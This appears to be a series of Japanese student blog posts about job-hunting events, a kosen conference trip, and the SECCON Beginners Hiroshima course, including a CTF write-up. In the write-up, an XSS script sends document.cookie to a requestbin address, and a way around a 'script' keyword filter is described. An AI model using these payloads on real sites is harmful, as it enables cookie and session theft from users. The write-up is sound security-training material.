Theories of Pleiades

技術の話とかイベントに行った話とか思ったこととか

逆求人フェスティバルに参加した話

ここまでの話

昨日から就活で東京に来ています。昨日は1社面談があったのみで、観光ばっかりしてました。

mwc922-hsm.hatenablog.com


今日やったこと

ジースタイラスさんの逆求人フェスティバルというイベントに参加してきました。

www.studenthunting.com

詳しいことについてはホームページを参照してもらうと良いかと思いますが、ざっくり言うと合同企業説明会(行ったことないけど)の逆バージョンです。


今回はジースタイラスさんからわざわざメールでお誘いをいただき、台風で仙台旅行の予定が消し飛んだ腹いせに交通費が出てしかも早めに就活始められるなら…ということで参加させていただきました。

ちなみに、参加者で一番遠方からの参加になりました。


逆求人参加にあたって

逆求人フェスティバル参加にあたって、逆求人ナビ(webサービス)のプロフィール埋めと本番で使用する自己紹介(5分程度)用のプレゼンスライド作りを事前準備として行いました。

どちらも担当アドバイザーとしてついていただいたしおりさん(@tanutam618)にたくさんアドバイスをしていただきました。企業の方はこのプロフィールを見てどの学生と話したいかを事前に決めてくるため、プロフィールがしっかりしていればいるほど有利(?)になります。


逆求人に参加するにあたって、担当のアドバイザーさんと電話やSkypeで当日の流れについてであったりプロフィールの効果的な埋め方であったりというものを指南していただくことになります。

ぼくの場合、このときに今までどんなプロダクトを作ってきたか、今作っているプロダクトがあるか、今後エンジニアとしてどういうキャリアイメージをしているか…などを聞かれました。片っ端から今までやってきたことを話していると、「じゃあこういうことが得意なんだね」「こういう方向に活かしていけるよね」といった風に自分の気付かなかったアピールポイントを教えていただけて、「あ〜なるほどこれがプロ」という気分になりました。ありがたいです。


ちなみに、以下が使用したスライドになります。


名刺交換〜昼食

今回の逆求人フェスティバルは10:30集合で、受付を済ませた人から指定された机に座ります。学生1人に対して企業の方向けの席が2つ設けられており、本番では1対1~2で面談をすることになります。


余談ですが、開場直後に受付を済ませてなんとなく周りを見ていると参加者の半数以上が大学院生なんですね。
それどころか東大院生だけでも5人ほどいて、「逆求人に来る東大院生ってもうめちゃくちゃガチプロやん勝ち目ないけど…」とか開始前から卑屈になりかけたりをしていました。


イベントの流れとしてははじめに当日の流れについて簡単にガイダンスがあり、その後名刺交換の時間が設けられます。
名刺交換は、学生が各自の席で待機し企業の方々は気になった学生の机に向かい名刺を渡す、という流れで行われます。…が、初めの3,4分ぐらい私の席に来られる方がおらず正直めちゃくちゃ焦ってました。


最終的にはかなりいろいろな企業の方と名刺を交換することができたのですが、名刺交換の時点で軽く「どんなことやってるの」「今日はどういう目的で来たの」など聞かれるので答えたりします。この時点ではまだ企業側も面談希望を出す学生を決定していないので、このときの印象も大切になってきます。


ぼくはこの時点でありがたいことにリブセンスさんからランチのお誘いをいただき、社員さん・学生さん4名ずつの合わせて8名(だったかな)でお昼ごはんを食べに行きました。学生さんと技術の話で盛り上がったり、社員さんに会社のことについて軽く聞いてみたり、雑談したりといい感じに緊張をほぐしていただきました。

お金まで出していただいて本当にありがたい限りです。ご馳走様でした。


逆求人本番

1時間程度のお昼休憩が終わると、面談のスケジュールが専用のwebサイトから閲覧できるようになります。

1ターム25分で全10ターム用意されていたのですが、ありがたいことに6タームは企業さんと面談をさせていただくことができました。正直こんなに埋まると思っていなくてびっくりしました。


面談をさせていただいたのは順番に

の6社(敬称略)です。


特にリブセンスさんにはお昼ごはんでお世話になった上1位指名までいただいてしまい知ったとき驚きすぎて泣きそうになりました。本当にありがとうございます。


各社について詳しいことは書きませんが、自己紹介のプレゼンテーションをしたあと質問に受け答えをし、逆に会社について説明を受けたあとこちらからの質問にも答えてもらうというのがざっくりとした流れです。

お話をしている中で自分の目指す人物像と企業のビジョンが合致すると感じる企業さんも数社あり、そういったところとは自然に会話が盛り上がっていったように感じます。やはりお互いに通じ合う部分があると話が弾みます。


ちなみに、お話をした企業の方からはノベルティとしてステッカーやクリアファイルなどをいただきました。これはその一部です。(アカツキさんのトートバッグは全員に配布されていたもので、今回はお話させていただいていません)

f:id:mwc922_hsm:20180922225913j:plain


どの会社の方もこちらの質問にかなりしっかり答えていただけて、また私は話をまとめる(イメージを言語化する)のがとても苦手なのですが、拙い日本語にも耳を傾けていただき、さらにはキャリアについてアドバイスをいただいた企業さんもありました。本当にありがたいことです。

話していて思ったのですが、いくら田舎で環境がないとかなんとかと言っても今の時代はTwitterなんかで強い人と知り合えるから良いですよねというのをめちゃくちゃに感じました。恵まれてる環境にいるんだよといった風なお言葉をかなりたくさんいただいて、やっぱりそうなんだなあ、田舎だか年齢だかに甘えちゃいけないなあと改めて思わされました。


企業さんとの面談が入っていない時間は他の学生の方とお話をしていましたが、さすがにこういったイベントに参加してくるだけあってどの方もかなり印象が濃かったです。

高専から大学編入された方であったり、超一流大学の大学院に通われている方だったり、ひと夏でたくさんの会社のインターンシップに参加して経験を積まれている方だったり、とにかくいろいろな方がいました。


面白かったのは、「高専です」と言うと結構な割合で「うわ〜高専かぁ(笑)」みたいな反応をされる方が多かったことですかね。大学に編入する高専生は意識が高いというのは割とよく言う話ですが、如何に世間の大学生が「上澄み高専生」を見ているのかがわかってちょっと興味深いなと思いました。

ぼくも上澄みと言われる部類に入りたいです。


面談終了

面談が終わるとスカウトタイムといって企業の方が気に入った学生に「オフィスに遊びにおいで」とか「また個別にお話しましょう」とか声を掛けに行く時間が始まります。


ぼくもこのスカウトタイム中に「また東京に来ることがあればオフィスにおいで」と言っていただいたり、話の弾んだ企業さんからはありがたいことに個別にリモートで面談の日程を調整していただきました。嬉しいです。

また、スカウトタイム中ではなかったのですが、タームの終了時に「もっと話したいし交通費出すか」「こっちから宇部に行こうか」などと言っていただいた企業さんもあり、社交辞令であってもめちゃくちゃ嬉しかったです。また東京に来ることがあればぜひオフィスにお邪魔させていただきます。


逆求人がおわった

逆求人が終わり、本来であればこのあと学生間の交流のための懇親会に参加する予定だったのですが、丸一日喋りっぱなしだったこともあり、喉の調子がだいぶまずそうな感じになっていたので懇親会には出ずそのまま帰りました。


交通費支援ということでいくらかジースタイラスさんより補助金をいただいたので、オタクタウン・秋葉原にて新しいワイヤレスイヤホンを買うなどしました。

割引が効いて3千円しなかったのですが、思った以上に音が良くてびっくりしています。


就職活動の滑り出しとしてはかなり良いスタートを切れたんじゃないかなと思っています。どれもこれもお誘いいただいたり交通費を支援していただいたりプロフィールやスライドのアドバイスをしてくださったジースタイラスさんと担当のしおりさんのおかげです…本当にありがとうございます。

就職活動というやつ、正直「プログラミングができればそれでいいし特別ここじゃないととかってあんまりないな、何を思って人間会社選びなんかするんだろう」とずっと思っていたのですが、実際に6社もの社員さんと話してみると会社ごとにこんなにも雰囲気って違うのか、と思わされました。


あと、普段Twitterでガチプロに囲まれていると自信をなくしがちというのがあるのですが、自分のやってきたことを話して実際にIT企業でエンジニアとして働いている方から「高専生でそれだけやってるのすごいよ」とか「プログラミング初めて触れてから3年間でそれだけの分野に手を伸ばすってなかなかできないよ」とかを言ってもらうとかなり嬉しいです。自信がつくし自尊心爆上がりです。

現場で働いているエンジニアさんからお褒めの言葉をいただくとやっぱりモチベーションが上がります。山口に帰ったらもうバリバリ開発してやるぞの気持ちになりました。


開始前は院生しかおらへん無理無理死んだ人生おわおわとか言っていたぼくですが、その院生・学部生がたくさんいる中でこうして「お前が気になってるぞ話したいぞ」と言っていただけるというのは本当に嬉しいことで、正直未だに実感が湧かないところすらあります。

高専の中にいると年下の強い人ばっかりで人生厳しいなあと思いがちですが、こうして少し外に出てみると案外良い結果が出たりするものなんだなあとしみじみ感じたりなどしています。


余談ですが、これはいただいたステッカーをペタペタ貼ったぼくの愛機ThinkPadです。

f:id:mwc922_hsm:20180922233032j:plain

まだどう貼ろうか悩んでいて貼ってないものもあります。一気にイキリオタク指数が上がって自分で「うわキツ…」となってしまいました。まあでも企業のステッカーベタベタ貼るやつ学生のうちぐらいしかできないかなあとか思うと今のうちにやっておくべきな気がします。


逆求人については以上です。結構いろんな人におすすめしたいイベントだなあと思いました。ぼくが紹介してイベントまで行ってくれると両方にアマゾンギフト券が1万円分もらえるはずなので気になった方は紹介します。一緒に1万円ゲットしましょう。
何か逆求人について「この辺どうだったの」「あの企業とはどこまでいったの」みたいな聞きたいことがあれば気軽に@hsm_hxまで聞いていただければと思います。


明日はTGS行くぞ〜〜〜〜〜〜〜〜〜たのしみ〜〜〜〜〜〜〜

就活のために東京に来た話 1/3日目

2泊3日東京一人旅

題目通りですが、就活のために2泊3日で東京に来ています。

先日、登録しておいた逆求人ナビというサービスの担当者の方から「逆求人フェスティバルに参加しませんか」と案内をいただき、交通費が出るなら行くしかないわねとなり今東京にいます。


逆求人フェスティバルは明日(一人旅2日目)に開催されるため、逆求人フェスティバルとは何かなどについてはまた明日の記事に書こうと思います。


今日やったこと

逆求人フェスティバルが朝から行われるため、当日の一番早い飛行機ではあまりにギリギリになってしまうということで前日入りを決めました。


ちょうどこのタイミングでニクリーチというサービス経由で「あなたに興味があるので20卒として一度面談をしませんか」と案内が来ており、その面談を今日に調整してもらっていました。

なので、今日は主には企業との面談、その前後の空き時間で東京散策をしていました。散策しすぎて体中バッキバキになりました。



東京散策午前の部

飛行機が羽田空港に朝9:30頃到着し、両国駅付近のホテルに荷物を預けた後東新宿駅にあるスクウェア・エニックス本社に向かいました。

ぼくは昔からスクウェア・エニックスの大ファンで、前東京に来たときは秋葉原スクエニカフェ、大阪に行ったときはなんばのスクエニカフェと道頓堀のFF14カフェとあっちこっちのスクエニのグッズショップを駆け回っていたのですが、とうとう本社ビルの麓にある公式グッズショップ「ARTNIA」に足を踏み入れる日が来ました。

行きたいと願い早3,4年にはなるでしょうか。やっと来れた。


エモーションを感じてください。


企業との面談

アルトニアのスライムパンケーキでQoLレベルが爆上げになったので、そのままのテンションで面談のお誘いをくださった某企業(名前を出して良いのかわからないので伏せていますが聞いてもらえば教えます)様のオフィスへ向かいました。

人事の方と1対1の面談でしたが、非常にフランクな雰囲気でお話していただき、緊張で昨晩眠れず泣いていたぼくもにっこりでした。


流れとしては

  • 会社について紹介
  • 気になったところを質問
  • 自己紹介
  • 人事さんからの質問
  • 選考などについて

という感じで進んでいたかと思います。


お話をした企業では少子高齢化社会に対して子育ての支援をするサービスなどを提供しており、今後は観光(主に外国人向け)によって地方を活性化させていくといったサービスを開発・運営する予定だという風に伺いました。

若い世代が得したり地方の観光が促進されたりするのは本当に良いことですね。めちゃくちゃ良い話だなと思いました(雑)。


また、外国に開発拠点を持っているという話も伺い、これで面談は3社目だったのですが(いずれもベンチャー企業)、外国と連携して開発をしているという例は初めてだったので興味を惹かれその点についていくつか質問をさせていただくなどもしました。


逆求人で東京に来たという話を始めにしていたので、その後は逆求人のために用意しておいた自己紹介スライドを使って軽く自己紹介をしました。

自己紹介、熱心に聞いていただけて本当に話しやすかったです。突然田舎からやってきた18歳の学生が世界征服だの言い出したのに真面目に聞いてくださって感謝しています。人事さんありがとうございました。

今までやってきたことであったり、これからやりたいことなんかを3,4分ほど話したのですが、明日の逆求人に向けてアドバイスまでいただいてしまい本当に感謝してもしきれないですね。


また、知識をアウトプットするの大事だよね〜みたいな話になったので軽く高専カンファレンスの話をしてみたら人事の方がとてもよく食いついてきてくださり、「高専生の発表是非見たいので会場お貸しします、ぜひうちでやってください」みたいなことを言っていただきました。東京近辺の方どうですか?やりませんか?



今まで面談は全てリモートでお願いしてきたのですが、どうにも電話やビデオ通話に慣れないもので、対面でお話するのはかなり気が楽でした。

これまで2社ではなんとなく社交辞令的にインターンのお誘いをいただいたりしていたのですが(まあどっちも落ちた)、今回はいい感じに「本選考始まったらまたご連絡しますね」とまで言ってもらえました。嬉しいことです。

今日の面談で失敗したら絶対明日に引きずるなあと思っていたので、好感触で終われて本当に良かったです。


以下はあまりに気分が良くなって調子に乗っているぼくのツイートです。

明日もこの勢いで頑張りたいです。頑張るぞ。


丸善 丸の内本店

面談が終わり、気分が良くなった結果なんとなく技術書を眺めたくなってしまったぼくは本屋探しの旅をすることになります。

Twitterで有志からの情報を集めた結果、丸善の丸の内本店がめっちゃ良いとのことで行ってきました。



いやマジで ヤバかったです 一面技術書だらけ

オライリーという有名な技術書の出版社がありますが、その専用の棚ができてる。意味わからんやった。


真面目に、本棚10分眺めてるだけでも最近流行りの技術とかわかります。めちゃくちゃ恵まれてると思う。

都会に住んでる人ってこんな良い環境でしかも勉強会イベントなんかも盛んな中スキルアップができるんだなとなりました。将来は都会の本屋になりたいです。



本当に本屋のヤバさについてはどう表現していいかわからないので田舎人間は一度東京駅前丸善丸の内本店に行ってください。よろしくお願いします。



オタクタウン・秋葉原

まあオタクとしては東京に来たらここは外せないですよね。ホテルから電車で4分だし行くよね。


実は昨日ワイヤレスイヤホンをなくしたことに気付いてしまい、オタクに勧められてeイヤホンというイヤホン専門店に行ってきました。

クソ高え誰がイヤホンに2万も3万も出すんだよという感じ。ありえん。

明日逆求人行って交通費補助の分もらったらまた見に行こうと思います。


次にGALLERIA LOUNGEに行ってきました。ゲーミングPC・周辺機器の専門店です。

オタクなので光りものが大好きなんですが、ゲーミングデバイスの専門店とかもうピッカピカでウッキウキになってしまいます。

キーボードの打鍵感確かめて遊んだりしてました。ぼくも良いキーボードがほしいなあという気持ちになりました。


その次はDDRのパネルがめちゃくちゃ良いとの評判を聞きエターナルアミューズメントタワーというゲームセンターでDDRをしてきました。

なんかもう一息な感じはするんだけど悔しい。聞いてた通りパネルめちゃくちゃ良くてびっくりしました。エレクリ落ちちゃったけど前半めちゃくちゃ驚きの精度って感じだったし最高です。サープラがエアタワになってほしい。


このあとN高のオタク(@Nagikaze0330)と合流して軽くお喋りをしながらパソコンの部品とかを眺めてました。

同年代の女の子エンジニア珍しいし女オタクと話したのもあまりに久し振りで開幕だいぶオタクキョドりをやってしまった、つらい気持ちです

N高、めちゃくちゃ強いエンジニア出してるしヤバいなあ良い環境だなあと思っていたら毎週5日電車で2時間半かけて通っているらしく、やっぱりみんな苦労してるんだなと思うなどをしました。

今回は30分ぐらいしかいられなかったけどまたエンジニアトークとかがっつりやりたいです。


そして今日の締め(?)に@LISA0_とラーメンを食べに行きました。


行こうと思ってたラーメン屋が夜はコースしかやってないとかで急遽予定を変更して錦糸町真鯛らーめん 麺魚というお店に来ました。オタクとラーメン食べるやつ、Twitterだとありがちな光景ですが初めてなので新鮮でした。

どうでもいいですが券売機に100円玉と間違って10円玉を入れてしまってお釣り合わせようとしたのになんかめっちゃ出てくるし計算合わんあれ?あれ?とかなってたら「そりゃ10円入れたら10円出てくるでしょ何してるん(要約)」みたいなこと言われて悲しくなりました。


スープがめっちゃ美味くて完飲しました。美味しかった。あとチャーシューが神だった。ご馳走様でした。


1日まとめ

朝6:30に家を出て夜の20時までずっと遊んでました。濃い一日だった。


企業との面談がうまく行ったり念願のアルトニアに行けたり都会本屋でモチベーション爆上がりしたり同年代同性エンジニアと邂逅したりオタクと美味いラーメン食ったりでQoLガン上がりになりました。みんなありがとう。

まあ明日が本番なので、これからスライド手直ししたり明日の準備したりをやります。


明日も一日がんばるぞい!

#kosenconf に参加しに兵庫県に行ってきた話

明石カンファに行ってきました

行ってきました。高専カンファは6ヶ月振り3回目です。

兵庫県での開催ということで割と近かったので行って来たのですが、行ってみると意外と「遠いところから」と言われたので一般的には山口県兵庫県は遠いらしいです。


今回は近かったのと金欠なので夜行バスで行って夜行バスで帰ってきました。
限界旅行はつらく苦しいですが学生のうちにしかできないという充実感があります。



カンファ前

前日の19時半に夜行バスに乗り込み当日の5時半に三宮に到着しました。近いね~

同じバスで来ていた隣高専のオタク(@hamaguchiCtrlS)と三宮のガストで朝飯をしながら時間を潰したりしました。


途中で豊田のオタク(@Ymgn_Bass)とも合流しました。

f:id:mwc922_hsm:20180918013016j:plain
写真: @hamaguchiCtrlS

朝6時からガストでオフ会するオタクキツい。


カンファ開始は12:40だったため、それまで三宮ラウンドワンで時間を潰したりしました。

オタクが3人集まってラウンドワンでやることと言えば音楽ゲームです。どうでもいいですがぼくは人生初のラウンドワンでした。


やりました↓


やりました↓


普段人間と一緒にゲーセンに行くことはあまりないのでDDRしかやらないんですが、普通の音楽ゲームもやってみると結構面白かったです。


このあとはオタクなので三宮のジュンク堂書店に行って参りました。

三宮のジュンク堂、天神のジュンク堂より小さいのに技術書が充実している気がしましたがよく考えるとぼくは天神のジュンク堂でゲームプログラミング以外の技術書を見たことがないので気がしただけかも知れません。


無限に立ち読みしたり背表紙を眺めるなどをしていて思ったのですが、これが欲しいので買ってくれる人を募集しています。

リバースエンジニアリングバイブル ~コード再創造の美学~

リバースエンジニアリングバイブル ~コード再創造の美学~

↓↓よろしくお願いします↓↓
干し芋のリスト


そんなこんなで豊田のオタク2(@nittc_tia)と合流しました。
開幕から@hamaguchiCtrlSにキツい絡みをかまされていたのが印象的です。



そういうムーブメントをしていたらなんか良い感じの時間になってきたので、三宮駅ドトールで軽い昼食をして明石高専の最寄りである魚住駅に向かいます。



kosenconf_119akashi

高専カンファレンスART in 明石は高専カンファレンス通算119回目の開催でした。歴史あるイベント。

会場だった明石高専は流石全国一偏差値の高いらしい高専ともあり駅からまっすぐ徒歩5分完璧な立地で死ぬほど羨ましくなりました。宇部高専は駅から徒歩40分ですがどういうことでしょう。高専格差はよくないですね。

f:id:mwc922_hsm:20180918015453j:plain


受付を済ませたら可愛らしい記念ステッカーをいただいたのでThinkPadに即貼りしました。オタクなのでどんどんパソコンがシール帳になっていきます。


受付をしてくれた@naoppyJさんが当時FF外だったにも関わらず「あっ、はすみさん」と名前を呼んでくださったので驚きました。名前知ってくださってたんでしょうか。そうだったら嬉しいですね。ぼくも名前は存じておりました。



プレゼン発表ですが、1番手から#John_is_proボイチェン機能付きガスマスクを作っていたり(家に防塵マスクがあったってどういうことなんだろう?)、クレームという言葉の正しい使い方について分かりやすく説明されておられたりのあとの3番手だったのでクソ死ぬほど緊張してました。

緊張で胃が痛いとはよく言う言葉ですが、ぼくは緊張すると肺が痛くなります。激痛でした。


ぼくの発表ですが、@hsm_aiについての話を5分でさせていただきました。

使用したスライドは以下です。

また、以下のYouTubeチャンネルよりストリーミングのアーカイブが視聴可能になっています。

www.youtube.com

途中で配信が困難な状態になってしまい中断されてしまったので、後日録画も投稿されるとのことです。
ちなみに、ぼくの発表も上記チャンネルの1番古い投稿の最後らへんに半分ぐらい映っています。緊張で足が震えて頭真っ白だったのでだいぶ厳しい発表になってしまい申し訳ないと思っています。ストリーミングの切れたあとが一番盛り上がったので悔しい(こればかりは仕方がない)。


発表内容については以下のエントリの5分縮小版という感じだったので、もしこれで興味を持った方がいれば参考にしていただければと思います(宣伝)。

mwc922-hsm.hatenablog.com

mwc922-hsm.hatenablog.com

また、発表に使ったhsm_aiのツイート集も載せておきます。

twitter.com

hsm_aiで笑ってくれた方、本当にありがとうございました。クソ意味不明なbotについて5分も話してしまって申し訳ないです。



その後も高専カンファレンスらしいいろいろな発表(技術的であったり、哲学的であったり)が続き、時間に余裕があったこともあり合間合間に休憩を取ることで発表者の方との名刺交換とかも捗っていたなあという印象です。いい感じ。

発表一つ一つについて書くことは文字数の都合上厳しいですが、Twitterの #kosenconf タグなど参照いただければ会場の雰囲気が伝わるのではないかなと思います。また録画アーカイブも楽しみに待ちましょう。



懇親会

高専カンファレンス後恒例の懇親会ですが、明石高専の食堂にて行われました。

明石高専の食堂はちょっと狭いなという気はしたもののなんかめっちゃお洒落でずるいと思いました。これが高偏差値校というやつです。


お菓子を食べたりコーラを飲んだりしながらいろいろ参加者の方と名刺交換したり発表の話をしたりさせてもらいました。明石高専のガチプロ諸氏とお話できてビビりながらも楽しかったです。

また、会場にはwhiimsさんのプログラミング言語かるた、Gitコマンドかるたが用意されており、情報系のオタクが盛り上がっていました。



ぼく個人はというと、めちゃくちゃビビリなので自分から話しに行くやつが苦手なのですが、今回は登壇したということもあってかたくさんの人に話しかけていただくことができ非常に嬉しかったです。

「はすみさん女性だったのびっくりしました」「めかぶと納豆でしゅうまいを作った話、普通に料理の話かと思ってました」「hsm_aiめっちゃ面白いです」などたくさんのお言葉をいただきドキドキしました。 ぼくは女性だし料理はできないけどhsm_aiはめっちゃ面白いです。


流石に驚きすぎでは?


はすみさんの名刺にははすみさんの名刺以上の価値はありません。ましてやそれでマウントを取るとか意味不明なのでやめましょう。



n次会をしました

運営の人々がお片付けをしている間に、参加者7人で三宮の幸せのパンケーキに行ってきました。
ぼく個人としては本当はフォロワーにおすすめされたANGIEというパンケーキ屋さんに行こうと思っていたのですが、営業時間外だったのでまたリベンジしようと思います。

安定の幸福感でした。男4人の机で「NITTC!イエーイ!」とか言いながらハイタッチしてたりなんか仮想環境とかk/vmとかの話をしていたりしたのが聞こえたのが印象的でした。



このあとは運営サイドとkosen14s周りの人々と合流して三宮のサイゼでオタク晩飯会をしました。

サイゼは人生3回目ぐらいで、間違い探しは人生初めてでした。一緒の机だった@chika_ssyさんと協力して全完できました。そのあとは別の机の解けてない人々を見ながらゲラゲラやってました。楽しかったです。


あとなんかオタクにひたすら叩かれました。



帰宅オタク

22:40三宮発、8:40山口湯田温泉着のバスで帰宅しました。生活習慣崩壊してるのもあって行きのバスは一睡もできませんでしたが帰りのバスは気を失うように睡眠を貪っていました。家に着いてからも12時間寝てました。

次の高専カンファは12月の名古屋になりそうなので今から旅費を貯めておこうと思います。



また、オタクから発表についてフィードバックをいただきました。

発言相応の威力を持った服装ってなんでしょうか。そもそもそんな威力のある発言した覚えがありません。
とりあえず参考にして次のカンファまでに神らしい服装を調達しようと思います。



以上が今回の旅行の全貌になります。気付いたら6000文字とかになってしまっていました。読書感想文が3冊分書けてしまいます。

最後に、今回の運営をされた明石高専のみなさん、協賛金を出資されていたACT135様、カンファレンスを盛り上げられた参加者のみなさん、また声を掛けていただいたみなさん、貴重かつ有意義な体験をありがとうございました!


ひっそり宇部で西京2を計画しているのでこちらもまた頑張ります。



…の前に、今週末は東京に逆求人に行ってくるのでそちらが先です。頑張ります!!!!!

ctf4b広島CTF演習Write-up

ここまでのお話

mwc922-hsm.hatenablog.com

上記記事の最後に触れたCTF演習の解法などまとめです。


正直自分が解いた問題そんな難しいのもなかったし書くことないかな…とか思ってたんですが、回答者0人だったBinary300が解けたのと「本当に書きたくなったときのための練習台にはちょうどいいのでは」というので書いてみることにしました。




Misc

Welcome(100)

問題文に書いてあるFlagをコピペして終わりです。



Calc(200)

簡単な暗算を100問やって終わりです。

人力で37問ぐらい解いたところでtypoして泣いてやめました。頭の良い人はスクレイピングでスマートに解いたらしいです。
解いておけばよかった問題ランキング堂々の1位。



handSQL(300)

問題サーバに接続してSQL文を500回実行する問題です。

サーバに接続したときに出てくる問題文をよく読むと「parsable SQL」とか書いてあったはずですが、頭が悪いので「テーブル名からわかんねえ!はい死んだ!」とか喚いてました。


同じ文を実行するとエラーで落ちるので、select * from xxx*とかxxxとかの部分をlinuxのシステムファイル名とかから引っ張ってくると良かったらしいです。

隣の方はExcelで無限にSQL文を錬成して打ち込んだらしいです。頭良い~!



Crypto

Go Fast(100)

2の何万乗のmod何かを出すとかの問題でした。
電卓とかで計算すると2の何万乗が大きすぎて失敗するので、iPythonで適当に動かしてsubmitしました。



Factoring(100)

大きな整数n=p*q(p,qは素数)が与えられ、p+qを求めるという問題でした。
これもネットとかに落ちてるような素因数分解サイトに計算させると素数の桁が大きすぎて失敗するので、Pythonで適当に素因数分解して結果を足し合わせます。

結構時間がかかるので、うまく出るか心配になりながらその間に他の問題を解いてました。



SimpleRSA(200)

p, q, e, cが与えられるので、公開鍵と秘密鍵を計算してcを復号するとかそんな感じの問題だったと思います。

数学知識のなさ故にRSAを半分も理解できなかったぼくは早々に諦めました。数学勉強します。



Find Primes(300)

cryptoわから~~~ん!!!って言いながら放り投げました。

問題文すら読まなかった気がします。ごめんなさい…



Web

make alert!(100)

フォームのみのシンプルなページが渡されるので、フォームに
<script> alert(); </script>
を渡すと出てきたダイアログにフラグが表示されます。



Contact Revenge(200)

演習で用いたものと同じ、タイトルと本文を入力するとそれが表示されるという簡単な投書箱のようなwebページが渡されます。
タイトルと本文にXSSを投げてみると本文はhtmlタグがエスケープされないので、本文にXSSを投げていきます。

演習で扱った攻撃方法を適当に試してみると、

<script>
    document.location =“http://[requestbinのアドレス]?”+ document.cookie;
</script>

で行けました。確か。どうやらcookieにFlagが隠されていたようです。



Contact Re-Revenge(200)

上記の問題と同じwebページが渡されます。
しかしながら、今回は"script"という単語を含む投稿は弾かれてしまいます。

例として、<img>onclick属性の中にはjsが記述できるので、この中にXSSを仕掛けるとFlagが奪取できます。
Flagの在り処はContact Revengeと同じだと風の噂で聞きました。


後から聞いた話ですが、何もjsを使わなくとも攻撃サーバへのリンクを踏ませれば良い話なので、<img src="">を使ってもFlagは得られたらしいです。なるほど。

焦っててonclickが頭に出てきませんでした。完全敗北。通してれば良かった問題ランキング第2位です。



Reversing

Raw(100)

バイナリを落としたらあとはやるだけstringコマンドで中身を覗きます。
バイナリ解析系の問題は一応最初にfilechmod +xして実行→stringsするようにしてます。


strings bin100 | grep ctf4bするとFlagが出てきます。



Review(200)

この問題から実行の流れを追わないと解けないようになっています。

objdump -M intel -S bin200_1 でintel記法のアセンブリに逆アセンブルして流れを追っていきます。
手元に何故かバイナリファイルがなかったのですが、実行の流れとしてはfor文で5回ほどループして簡単な乗算をしています。

アセンブリを読んでいって、最後にraxに入っている値を計算で求め、ファイルを実行し入力するとFlagが吐かれる…とかだったと思います。手元には120という演算結果のメモしか残っていませんでした。



Function(200)

これもまたアセンブリでシュッとやっていきます。
アセンブリを読んでいくと、genFlagとかいう見るからに怪しい関数があり、中に

mov BYTE PTR [rbp-0x40], 0x63
mov BYTE PTR [rbp-0x3f], 0x74
mov BYTE PTR [rbp-0x3e], 0x66

というようにスタックに16進数を放り込んでる行がずらっと40行ぐらい並んでいます。
なんかパッと見ASCIIっぽいのでそのまま雑に変換するとFlagが出ます。



Cipher(300)

ctf4b広島閉幕から4日、やっと解けました(2018/09/05)。

本戦中にもチラッと読んで何かしらhexのxor取ってるよな~これ計算したらASCII出てきそうやな~というのは検討付いてたんですが、普通に時間足りなくなりそうだったのでやめました。


IDAで実行の流れを追ってみると、_check_flagという関数の中で30行ほどスタックにhexを投げ込んだあとなんかループしてるなあという感じになっています。

下はIDAで解析した_check_flagの一部分のみを載せています。この少し前にスタックにhexを投げ込んだりしています。 f:id:mwc922_hsm:20180905185129p:plain


上の画像の上部でstrlenを呼び出していて、ループ本体(分岐ブロック右側)の最後にadd [rbp+var_4C], 1でインクリメントしてるなあ~というのがわかります。

また、画像には映っていないのですが、strlenを呼び出す直前に

mov edi, 0
call _srand

とあり、ediが関数に渡す引数であることから乱数のseed値として0を渡していることがわかります。


ここでループ本体を見てみると、

call _rand
xor eax, r12d

という行があります。ここでeaxには_randの返り値が格納されているため、seedを0とする乱数とr12dとでxor演算を行っていることがわかります。


以上から、まあ大体strlenで取得した文字数(ここではスタックに投げたhexの数)分、出てきた乱数とxor演算してる感じかな~とアタリを付けました。半分は勘です。


手元でさくっと乱数を出してiPythonを使って演算してみたところ1,2文字目にctが出てきたので、「これはctf4bと始まるに違いない」と確信し適当にCでプログラムを書いてフラグを出しに移りました。


ASCIIは2byteなので、生成する乱数も下位2byteだけ抽出してxorを取っています。

一応使ったコードを下に示します。

gist.github.com




おわりに

Cipherめっちゃ手こずった割には解法が単純だったので悔しい気持ちです。マジで悔しい。

Reversingが思った以上に楽しかったのでCTFはこれからReversingメインでやっていきたいなあの気持ちが生えました。
この後はちょっとずつハリネズミ本リベンジしていきたいと思います。楽しみ~

SECCON Beginners 2018 広島に行きました

SECCON Beginners 2018 広島に行きました

表題の通りです、SECCON Beginners 2018 広島に行ってきました。

SECCONというのは有名な日本のセキュリティコンテスト(とその運営組織)で、CTF(Capture the Flag)の大会を主催したり(→SECCON CTF)、その入門者向け講習会を開催したり(→CTF4b)しています。

CTF、セキュリティ分野とは何か?というのについては前回CTFの大会に出たときの記事が参考になる(かもしれないしならないかもしれない)と思うので載せておきます。

mwc922-hsm.hatenablog.com

今回はその入門者向け講習会SECCON Beginners(CTF for Beginners)に参加してきたよという話を書いていきます。



移動~開場

広島ということで、人生初の路面電車でした。

路面電車、どこまで行っても一律180円なのが最高でしたね。お財布に優しい。
乗ってる感じとか速度とか止まる頻度とかはバスっぽいのに中はちゃんと電車だし連結部分が特徴的でした。

新幹線と路面電車を乗り継ぎ無事会場着。

なんかいろいろもらいました。



講義、開始―――

講義は運営スタッフの挨拶から始まり、はじめにセキュリティの勉強をする上での倫理事項などなどのお話がありました。

「若手セキュリティエンジニアが講師を務める」などは聞いていましたがまさか現役の院生でDEF CONに出てるとかの人が来るとか聞いてないし萎縮しまくりました。プロ怖いです。

倫理とかの話で印象的だったのは「セキュリティエンジニアを止めるもの」として技術者としての挟持とかそういうものを挙げられていたことでした。

法律とかはそれはそう…という感じがしますが、「今まで教えてくれた人に迷惑を掛けるような技術の使い方はしたくない」といったことを話されていたのをよく覚えています。かっこいいなあという気持ちになりました。

公開鍵暗号をやる=数学をやる

1つ目の講義はcryptoで、ctf4bでは初めて扱われる分野ということでした。

cryptoというのは暗号技術分野のことですが、今日の講義では主にRSA暗号(公開鍵暗号)の基礎についてを扱いました。
RSA暗号は非常に大きな桁の素因数分解は現実的に困難であるという性質を利用した暗号で、現実世界でもよく使われている暗号化方式の一つです。サマーウォーズに出てきたのがこれだったかと思います。

といっても我々は数学オリンピック日本代表に惜しくも選ばれなかった天才ではないので、扱うのはその理論と簡単な実例のみです。

まず、RSA暗号の仕組みを理解し実装を追うには数学のmodの知識が必要ということで、軽くmodのおさらいから講義は始まります。



講義を聞きながら必死にmodなどをGoogle検索しmodを理解したところでだいぶ分かりが生えて楽しくなってきました。
拡張ユークリッドの互除法を使って逆元を取る~とか、素数2つを組み合わせて良い感じにやるとRSAの公開鍵と秘密鍵が作れる~とか、そういうことをやりました。

